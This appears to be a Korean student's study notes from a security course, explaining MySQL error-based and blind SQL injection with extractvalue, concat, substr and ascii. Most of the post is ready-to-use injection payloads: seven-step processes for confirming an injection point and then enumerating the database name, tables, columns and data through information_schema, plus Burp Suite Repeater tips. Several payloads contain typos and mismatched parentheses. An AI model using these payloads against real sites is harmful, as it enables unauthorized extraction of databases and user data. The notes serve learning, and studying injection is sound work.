본문 바로가기

개념정리

7주차 ERROR BASED SQL / BLIND SQL INJECTION / EXTRACTVALU / CONCAT / SUBSTR/ ASCII CODE

ERROR BASED SQL / BLIND SQL INJECTION / EXTRACTVALU / CONCAT / SUBSTR/ ASCII CODE


 
 
SQL INJECTION - 데이터가 출력되는 곳
- SQL 질의 결과가 출력 될 때 -> UNION SQL INJECTION
- ERROR 메시지가 출력 될 때 -> ERROR BASED SQL INJECTION
- 참과 거짓이 출력 될 때 -> BLIND SQL INJECTION
 
 
ERROR BASED SQL INJECTION
- 에러 메시지를 활용하여 데이터 출력
- 데이터를 출력하려면 SELECT문을 사용해야하고 에러메시지에 SELECT 문의 결과가 출력되는 것이 목표
- 즉, 셀렉트문 내의 에러를 사용한다.
- 로직에러 -> SQL 에러 사용
 
BLIND SQL INJECTION
- 참값과 거짓값이 출력되는 것을 이용해 원하는 값을 추측해 나간다.
- 로그인페이지, 아이디 중복체크페이지 등 데이터는 출력하지만 참과 거짓을 출력
 
 


 
문법에러 / 로직에러
- 문법에러 SQL문의 실행 자체가 불가능하기 때문에 SQL INJECTION에서 사용X
- 로직에러 문법적으로 에러가없어 SQL문이 실행하지만 오류가 발생 하는 것을 이용하기 때문에 인젝션에 사용 


문법 에러 
- 코드는 컴파일하고 실행하는 과정이 필요 한데 문법에 어긋나는 경우 SQL syntax에러 메시지가 출력 된다
- 그러나 이는 SQL INJECTION 에 사용 불가 
- 문법 에러는 실행이되지 않기 때문에 SQL을 사용해 데이터를 추출 할 수 없으니까.
EX)

SELECT * FROM MEMBER AKJDHF

-> SELECT * FROM MEMBER AKJDHF 

SELECT * FFFF EEEE

->SELECT * FFFF EEEE
   -> 코드는 컴파일하고 실행하는 과정이 필요 한데 문법에 어긋나는 경우 SQL syntax에러 메시지가 출력 된다
       -> 그러나 이는 SQL INJECTION 에서 쓸모가 없는 에러다.
       -> 문법 에러는 실행이되지 않기 때문에 SQL을 사용해 데이터를 추출 할 수 없으니까.


로직에러
- 문법적으로는 틀린게 없지만 실행하다 보니 에러가 출력되는 것 
- 로직에러를 유발하는 방법은 , MYSQL, ORACLE, MSSQL 등 DB마다 다르다 
- ERROR BASED MYSQL SQL INJECTION 구글링 하면됨
-> SQL 에러 :  WAS의 SQL문을 동작 시키면서, 입력한 SQL문 내에서 오류를 발생시킨다.
EX)

select * from where id =' 참값' and extractvalue('아무값' , concat(ASCII특수문자값, (출력하고싶은 셀렉트문))) and '참값 '

-> select * from where id =' 참값' and
    extractvalue('아무값' , concat(ASCII특수문자값, (출력하고싶은 셀렉트문))) and '참값 '
    -> 문법적으로는 틀린게 없지만 실행하다 보니 출력하고싶은 셀렉트문에서 에러가 발생해 에러가 출력되는 것

select * from where id = '참값' and (ascii(substr((select 'normaltic'),1,1)) = 1 ) and '1'='1 '

-> select * from where id = '참값' and (ascii(substr((select 'normaltic'),1,1)) = 1 ) and '1'='1 '
    -> 문법적으로는 틀린게 없지만 select문의 normaltic의 n 이 1이 아니니 에러가 발생해 거짓값이 출력 되는 것
 
 
EXTRACTVALUE
- extractvalue('xml 글자', 'xml 표현식')
- mysql 에서 로직에러에 사용한다.
- xml 표현식이 아닌 값을 넣으면 해당 값이 에러에 출력된다. 이를 SQL INJECTION에 활용한다.
- xml 표현식이 아닌 값은 ;로 시작하거나 !로 시작하게 만들면 된다.
EX) 

extractvalue(<a>bbb<b>ddd</b><c>rrr</c></a>, /a/b)

->extractvalue(<a>bbb<b>ddd</b><c>rrr</c></a>, /a/b)
    -> bbb ddd 출력
    -> xml 표현식에 해당되는 테크가 xml 글자에서 출력되는 것이다.

extractvalue('1',';normaltic')

-> extractvalue('1',';normaltic')
    -> XPATH syntax error: ';normaltic'
    ->xml 표현식이 들어가는 값이 오류라서 오류 출력 이를 이용해서 저부분에 select문을 입력한다.

extractvalue('1',;select 문') and '1'='1

-> extractvalue('1',;select 문') and '1'='1
    -> 입력값이 '로 끝나야 하니까 참인 '1'='1'을 이용
    -> 그러나 ;다음에 select문이 연결될 수 없다.
    -> 그래서 이어붙이는 함수인 CONCAT사용
 
 
 
CONCAT
- concat(입력값1,입력값2) 
- 입력값1과 입력값2를 이어붙인다. ;과 select문을 이어붙일때 주로 사용한다.
- 특수문자나 문자는 ascii 코드로 변경해서 사용한다 

- 여러 데이터값을 한 컬럼에 출력하고싶을 때도 사용한다

EX)

concat(0x3b,select문)

-> concat(0x3b,select문)
    -> ;select문
+ 0x3b = ; 

union select 1,concat(컬럼1,컬럼2,컬럼3),3,4,5,6,7 form 테이블

->union select 1,concat(컬럼1,컬럼2,컬럼3),3,4,5,6,7 form 테이블

    ->union select 1,concat(컬럼1,":",컬럼2,":", 컬럼3),3,4,5,6,7 form 테이블

    -> 다른문자섞어서 출력할 수 도 있다

 

 


 
 
 
SUBSTR 
- substr('글자',출력할 부분부터, 출력할 갯수 글자)
- 글자를 일부분만 잘라서 출력하는 함수
- 이를 이용해 일부분의 글자의 값이 맞는지 참값과 거짓값을 통해 추측해 나간다.
- 아스키코드를 활용하여 업다운 게임하듯이, 파이썬을이용하여 자동으로 변환하면 더 편하다.
EX) 

substr('test',1,1)

-> substr('test',1,1)
    -> t -> 첫번째 글자부터 한개 글자

substr('test',2,3)

-> substr('test',2,3)
    -> est -> 두번째 글자부터 세개 글자 

substr((select 'test'),1,1 ='t')

-> substr((select 'test'),1,1 ='t')
    -> 참 -> 이를 아스키코드로 변환해 이용해서 업다운게임을 한다고 생각하면된다.
    -> 첫번째 글짜 값이 0에서 100 사이에 있나요?
    -> 50에서 100 사이에 있나요?
    -> 75에서 100 사이에 있나요? 이런느낌으로 찾기 

substr((sql문),1,1) > 50)

-> substr((sql문),1,1) > 50)
    -> 숫자를 이용한후 값을 찾아서 아스키코드 값으로 찾는다.
 
ASCII CODE
EX)

ascii(substr(select 'test'),1,1 = 116)

-> ascii(substr(select 'test'),1,1 = 116)
 

0 48 30 00110000
1 49 31 00110001
2 50 32 00110010
3 51 33 00110011
4 52 34 00110100
5 53 35 00110101
6 54 36 00110110
7 55 37 00110111
8 56 38 00111000
9 57 39 00111001
a 97 61 01100001
b 98 62 01100010
c 99 63 01100011
d 100 64 01100100
e 101 65 01100101
f 102 66 01100110
g 103 67 01100111
h 104 68 01101000
i 105 69 01101001
j 106 6A 01101010
k 107 6B 01101011
l 108 6C 01101100
m 109 6D 01101101
n 110 6E 01101110
o 111 6F 01101111
p 112 70 01110000
q 113 71 01110001
r 114 72 01110010
s 115 73 01110011
t 116 74 01110100
u 117 75 01110101
v 118 76 01110110
w 119 77 01110111
x 120 78 01111000
y 121 79 01111001
z 122 7A 01111010

 
 


ERROR BASED SQL INJECTION

select * from member where id = '아무값' and extractvalue('아무값',concat(0x3b(select문)) and '참값'

- select * from member where id = '아무값' and extractvalue('아무값',concat(0x3b(select문)) and '참값'

select * from member where id = '아무값' or extractvalue('아무값',concat(0x3b(select문)) and '참값'

- select * from member where id = '아무값' or extractvalue('아무값',concat(0x3b(select문)) and '참값'
- EXTRACTVALUE / CONCAT 이용
- 뒤에 '로시작하는 참값 넣는 이유는 와스의 기본 sql query가 '로 종료되기 때문에 정상적으로 내용을 입력하기 위함이다.
- blind sql injection이 아니니 맨 앞에 참값을 굳이 안넣어도 된다. blind sql injection은 맨앞 참값 and가 필요

- 값을 반복해서 넣어야하므로 Burf Suite의 Repeater을 이용하는것이 좋다
EX) 

select * from member where id = '' or extractvalue('1' , concat(0x3b, ( select flag from flagTable limit 0,1 ))) and '1'='1'

-> 입력값 = ' and extractvalue('아무값' , concat(0x3b, (select database()))) and '1'='1
    -> select * from member where id = '
        ' or extractvalue('1' , concat(0x3b, ( select flag from flagTable limit 0,1 ))) and '1'='1 '
    -> XPATH syntax error: ';데이터베이스값'


ERROR BASED SQL INJECTION PROCESS
 
1. SQL INJECTION POINT 확인
2. ERROR 출력 함수 확인
3. 공격 FORMAT 만들기
4. DATABASE 이름 확인
5. TABLE 이름 확인
6. COLUMN 이름 확인
7. DATA 이름 확인


1. SQL INJECTION POINT

select * from member where id = '오류값'

- select * from member where id = '오류값 '  
- 오류나는 단어 입력
- SQL 에러나는 부분인지 확인
EX)

select * from member where id = ' ' '

-> 입력값 = '
-> select * from member where id = ' '  '
    -> You have an error in your SQL syntax;
    -> SQL 에러남


 
2. ERROR 출력 함수 확인 - extractvalue

extractvalue

mysql은 extractvalue


3. 공격 FORMAT 만들기

select * from member where id = '' and extractvalue('아무값' , concat(0x3b, (출력하고싶은 select문))) and '참값 '

- select * from member where id = '' and extractvalue('아무값' , concat(0x3b, (출력하고싶은 select문))) and '참값 '

' and extractvalue('1' , concat(0x3b, (select '출력하고싶은값'))) and '참값

- FORMAT =  ' and extractvalue('1' , concat(0x3b, (select '출력하고싶은값'))) and '참값
- FORMAT =  ' and extractvalue('1' , concat(0x3b, (select '출력하고싶은값'))) and '1'=1' 정리
- 출력하고 싶은 값이 오류로 잘 출력되는지 확인한다
- 출력하고싶은 셀렉트문빼고 계속 사용할 FORMAT을 만든다.
EX)

select * from member where id = ' ' and extractvalue('1' , concat(0x3b, (select '출력하고싶은값'))) and '1'='1'

-> 입력값 = ' and extractvalue('1' , concat(0x3b, (select '출력하고싶은값'))) and '1'='1
    -> select * from member where id = ' ' and extractvalue('1' , concat(0x3b, (select '출력하고싶은값'))) and '1'='1'
    ->XPATH syntax error: ';출력하고싶은값' -> 출력하고 싶은 값이 제대로 잘 출력되는지 확인
       
 


4. DATABASE 이름 확인 - database()

select * from member where id = ' ' and extractvalue('아무값' , concat(0x3b, (select database()))) and '참값'

- select * from member where id = ' ' and extractvalue('아무값' , concat(0x3b, (select database()))) and '참값 '
EX)
-> 포맷 대입 = select database()
-> 입력값 = ' and extractvalue('1' , concat(0x3b, (select database()))) and '1'='1
   -> select * from member where id = ' ' and extractvalue('1' , concat(0x3b, (select database()))) and '1'='1 '
   -> XPATH syntax error: ';DATABASE 이름' -> DATABASE 이름 확인
 
 


5. TABLE 이름 확인 

select * from member where id = ' ' and extractvalue('아무값' , concat(0x3b,( select table_name from information_schema.tables where table_schema='디비이름' limit 원하는출력번째,개수))) and '참값 '

- select * from member where id = ' ' and extractvalue('아무값' , concat(0x3b,( select table_name from information_schema.tables where table_schema='디비이름' limit 원하는출력번째,개수))) and '참값 '
- information_schema.tables -> table_name/table_schema
- DATABASE에 테이블이름이 저장되어있는 테이블을 이용
EX)

select * from member where id = ' ' and extractvalue('1' , concat(0x3b,( select table_name from information_schema.tables where table_schema='디비이름' limit 0,1))) and '1'='1'

-> 포맷 대입 = select table_name from information_schema.tables where table_schema='디비이름' limit 0,1
-> 입력값 = ' and extractvalue('1' , concat(0x3b,( select table_name from information_schema.tables
                    where table_schema='디비이름' limit 0,1))) and '1'='1
   -> select * from member where id = ' ' and extractvalue('1' , concat(0x3b,( select table_name from             
      information_schema.tables where table_schema='디비이름' limit 0,1))) and '1'='1'
    -> XPATH syntax error: ';TABLE 이름' -> TABLE 이름 확인


6. COLUMN 이름 확인

select * from member where id = ' ' and extractvalue('아무값' , concat(0x3b,( select column_name from information_schema.columns where table_name='테이블 이름' limit 원하는출력번째,개수))) and '참값

- select * from member where id = ' ' and extractvalue('아무값' , concat(0x3b,( select column_name from     
  information_schema.columns where table_name='테이블 이름' limit 원하는출력번째,개수))) and '참값 '
- information_schema.columns -> column_name/table_name
- DATABASE에 컬럼이름이 저장되어있는 테이블을 이용
EX)

select * from member where id = ' ' and extractvalue('1' , concat(0x3b,( select table_name from information_schema.tables where table_schema='디비이름' limit 0,1))) and '1'='1'

-> 포맷 대입 = select column_name from information_schema.columns where table_name='디비이름' limit 0,1
-> 입력값 = ' and extractvalue('1' , concat(0x3b,( select column_name from information_schema.columns
                    where table_name='디비이름' limit 0,1))) and '1'='1
   -> select * from member where id = ' ' and extractvalue('1' , concat(0x3b,( select table_name from   
       information_schema.tables where table_schema='디비이름' limit 0,1))) and '1'='1'
    -> XPATH syntax error: ';COLUMN 이름' -> COULMN 이름 확인


7. DATA 출력 - 테이블이름, 컬럼이름

select * from member where id ='' extractvalue(1,concat(0x3b, (select 컬럼 from 테이블 limit 원하는출력번째,개수))) and '참값 '

- select * from member where id ='' extractvalue(1,concat(0x3b, 
  (select 컬럼 from 테이블 limit 원하는출력번째,개수))) and '참값 '
- 컬럼 이름값만 존재할경우 오류 출력 되기 때문에 하나하나 확인해야함
EX) game 테이블에 있는 name 컬럼을 출력하고 싶다.
-> 포맷 대입 = select name from game limit 0,1
-> 입력값 = ' and extractvalue('1', concat(0x3b,( select name from game limit 0,1))) and '1'='1
       -> select * from member where id =' ' and extractvalue('아무값' , concat(0x3b,
          ( select name from game limit 0,1))) and '1'='1 '
 
 


BLIND SQL INJECTION

 select * from member where id = '참값' and (ascii(substr((구하고싶은 select문),몇번째자리부터,몇글자)) > 확인할 숫자  ) and '참값'

- select * from member where id = '참값' and
  (ascii(substr((구하고싶은 select문),몇번째자리부터,몇글자)) > 확인할 숫자  ) and '참값'
- ASCII / SUBSTR 이용
- 확인할 숫자를 바꿔가면서 참값 거짓값을 확인해 값을 확인해 나간다.
- 앞에 참값' and를 넣는 이유는 blind injection 시 입력한 select 문만! 참일때와 거짓일때를 구분하기 위해서이다.
- 마지막에 and '참값을 넣는 이유는 파이썬으로 자동화 할 때 편리하기 때문이다.
- substr의값을 변조해서 참값과 거짓값이 나올때 그 부분에 select 문과 조건을 넣는다.
- ascii코드를 이용하는 이유는 숫자의 크기로 값을 확인하면 업다운게임이 가능하니까. 파이썬 사용도 용이하다.
- 블라인드인젝션은 인젝션의 끝판왕!
- 리피터에 값을 보내서 변조하면 편리하다 
EX) 

select * from memeber where id = '참' and '1'='1'

-> select * from memeber where id = '참' and '1'='1'
    -> 참 -> 존재하는 아이디입니다출력

select * from memeber where id = '참' and '1'='2'

-> select * from memeber where id = '참' and '1'='2'
    -> 거짓 -> 존재하지 않는 아이디 입니다 출력

참값' and (조건) and '1'='1

-> select * from member where id = '참' and (조건) and '1'='1 '

substr((select 'test'),1,1 ='t'

-> substr((select 'test'),1,1 ='t'
    -> 참 -> 를 이용해서 첫글자가 t로 시작됨을 확인한다.
 
 
첫번째 글짜 값이 0에서 100 사이에 있나요?
50에서 100 사이에 있나요?
75에서 100 사이에 있나요? 이런느낌

참값 ' and ( ascii(substr((select 'normaltic'),1,1)) > 0  ) and '1'='1

참값 ' and ( ascii(substr((select 'normaltic'),1,1)) > 0  ) and '1'='1
-> 참이니까 글자의 ASCII 코드가 0보다 크겠군

참값 ' and ( ascii(substr((select 'normaltic'),1,1)) > 50  ) and '1'='1

참값 ' and ( ascii(substr((select 'normaltic'),1,1)) > 50  ) and '1'='1
-> 참 50보다 크네 이런식으로 값을 확인한다.


BURF SUITE 설정
 
쿼리 한글 해석
-> PROXY
    -> HTTP history
    -> 반복해서 값을 보내고 싶은 사이트 -> 우측클릭 -> Send to Reapeater
-> Repeater -> Request
    -> 해석하고싶은 query 스크롤 후 우측클릭 -> Convert selection -> 원하는 디코딩 클릭
리피터에 보내기
쿼리 우측클릭 컨버트 셀렉터 쓰면
쿼리 한글 해석
 
원하는 부분 계속 확인하고 싶을때 
-> Repeater -> Response
    -> 원하는 부분 스크롤
    -> 좌측 하단 톱니바퀴 클릭
    -> Auto scoll to match when text changes 체크박스 체크
- 리피터 반복하면서 숫자 확인


 
 
BLIND SQL INJECTION PROCESS
 
1. SQL INJECTION POINT
2. SELECT문 사용 가능 확인
3. 공격 FORMAT 만들기
4. DATABASE 이름 확인
5. TABLE 이름 확인
6. COLUMN 이름 확인
7. DATA 추출


 
1. SQL INJECTION POINT

select * from member where id = '참값' and '조건문참값/거짓값'

select * from member where id = '참값' and '조건문참값/거짓값'
    -> 이런식으로 사용해도 되지만

select * from member where id = '참값' and (조건문참값/거짓값) and '참값'

- select * from member where id = '참값' and (조건문참값/거짓값) and '참값'
    -> 마지막에 and '참값/거짓값 을 넣는 편이 파이썬으로 자동화 하기에 편하다.
- 참값과 거짓 값이 뜨면 SQL INJECTION POINT이다.
EX)

select * from member where id = '참값' and ('1'='1') and '1'='1'

-> 입력값 = 참값' and ('1'='1') and '1'='1 -> 조건문도 참
    -> select * from member where id = '참값' and ('1'='1') and '1'='1'
    -> 참

select * from member where id = '참값' and ('1'='2') and '1'='2'

-> 입력값 = 참값' and ('1'='2') and '1'='1 -> 조건문만 거짓
    -> select * from member where id = '참값' and ('1'='2') and '1'='2'
    -> 거짓
->  참과 거짓의 결과가 출력 되므로 blind sql injection point


 
2. SELECT문 사용 가능 확인

select * from member where id = '참값' and (select 조건문참값/조건문거짓값) and '참값

- select * from member where id = '참값' and (select 조건문참값/조건문거짓값) and '참값  '
- 참값과 거짓값이 뜨면 select문을 사용할 수 있는 것이다.
EX)

select * from member where id =' 참값' and (select 'test'='test') and '1'='1 '

-> 입력값 = 참값' and (select 'test'='test') and '1'='1 
    -> select * from member where id =' 참값' and (select 'test'='test') and '1'='1 '
    -> 참

select * from member where id =' 참값' and (select 'test'='sasdf') and '1'='1 '

-> 입력값 = 참값' and (select 'test'='sasdf') and '1'='1 
    -> select * from member where id =' 참값' and (select 'test'='sasdf') and '1'='1 '
    -> 거짓
-> 참 거짓 뜨면 아 select 문구 가능하구나 


3. 공격 FORMAT 만들기 - ASCII/SUBSTR

select * from member where id = ' 참값' and (ascii(substr((sql문),n,1)) > x ) and '참값 ' '

- select * from member where id = ' 참값' and (ascii(substr((sql문),n,1)) > x ) and '참값 ' '
- FORMAT =  참값' and (ascii(substr((sql문),n,1)) > x ) and '참값 '
- FORMAT = 참값' and (ascii(substr((sql문),n,1)) > x) and '1'='1 정리
- ascii코드로 변환해 확인하고싶은 sql문의 출력을 substr으로 나눠서 한글자한글자 조건으로 확인한다.
- n은 1부터 x는 원하는 범위
EX)

select * from member where id = ' 참값' and (ascii(substr((select 'test'),1,1)) = 116) and '1'='1  '

-> 포맷 대입 = select 'test'
-> 입력값 = 참값' and (ascii(substr(select 'test'),1,1)) = 1) and '1'='1
    -> select * from member where id = ' 참값' and (ascii(substr((select 'test'),1,1)) = 116) and '1'='1  '
    -> 참 이런식으로 조건을 이용한다.
- FORMAT = 참값' and (ascii(substr(sql문),n,1)) > x) and '1'='1 확정


4. DATABASE 이름 확인

select * from member where id = ' 참값' and (ascii(substr((select database()),1,1)) > x ) and '참값 '

- select * from member where id = ' 참값' and (ascii(substr((select database()),1,1)) > x ) and '참값 '
- select database()
- n이랑 x바꿔가면서 ascii code확인
EX)

select * from member where id = ' 참값' and (ascii(substr((select database()),1,1)) > x ) and '1='1 '

-> 포맷 대입 = select database()
-> 입력값 = 참값' and (ascii(substr(( select database() ),1,1)) > x) and '1'='1
    -> select * from member where id = ' 참값' and (ascii(substr((select database()),1,1)) > x ) and '1='1 '


5. TABLE 이름 확인

select * from member where id = '참값' and (ascii(substr(( select table_name from information_schema.tables where table_schema='디비이름' limit 0,1 ),n,1)) > x  ) and '참값'

- information_schema.tables -> table_name/table_schema
- DATABASE에 테이블이름이 저장되어있는 테이블을 이용
EX)
-> 포맷대입 = select table_name from information_schema.tables where table_schema='디비이름' limit 0,1
-> 입력값 = 참값' and ( ascii(substr((select table_name from information_schema.tables
                   where table_schema='디비이름' limit 0,1 ),1,1)) > 0  ) and '1'='1
    -> select * from member where id = ' 참값' and ( ascii(substr(( select table_name from information_schema.tables where table_schema='디비이름' limit 0,1 ),1,1)) > 0  ) and '1'='1 '


6. COLUMN 이름 확인

select * from member where id = ' 참값' and (ascii(substr((select column_name from information_schema.coulmns where table_name='테이블이름' limit 0,1) n,1)) > x ) and '참값 '

 
- information_schema.columns -> column_name/table_name
- DATABASE에 컬럼이름이 저장되어있는 테이블을 이용
EX)

select * from member where id = ' 참값' and (ascii(substr((select column_name from information_schema.columns where table_name='테이블이름' limit 0,1), n,1)) > x ) and '1'='1 '

-> 포맷 대입 = select column_name from information_schema.columns where table_name='테이블이름' limit 0,1
-> 입력값 = 참값' and (ascii(substr((select column_name from information_schema.columns                  
                   where table_name='테이블이름' limit 0,1), 1,1)) > x ) and '1'='1   
    -> select * from member where id = ' 참값' and (ascii(substr((select column_name from                              
        information_schema.columns where table_name='테이블이름' limit 0,1), n,1)) > x ) and '1'='1 '
 
7. DATA 추출

 select * from member where id = ' 참값' and (ascii(substr( select 컬럼이름 from 테이블이름 ),n,1)) > x) and '참값 '

-  select * from member where id = ' 참값' and (ascii(substr( select 컬럼이름 from 테이블이름 ),n,1)) > x) and '참값 '
+ 해시값은 32자리
 
EX)

 select * from member where id = ' 참값' and (ascii(substr( select 컬럼이름 from 테이블이름 ),1,1)) > x) and '1'='1 '

-> 포맷대입 = select 컬럼이름 from 원하는 테이블이름
-> 입력값 = 참값' and (ascii(substr( select 컬럼이름 from 테이블이름 ),1,1)) > x) and '1'='1
    -> select * from member where id = ' 참값' and (ascii(substr( select 컬럼이름 from 테이블이름 ),1,1)) > x) and '1'='1 '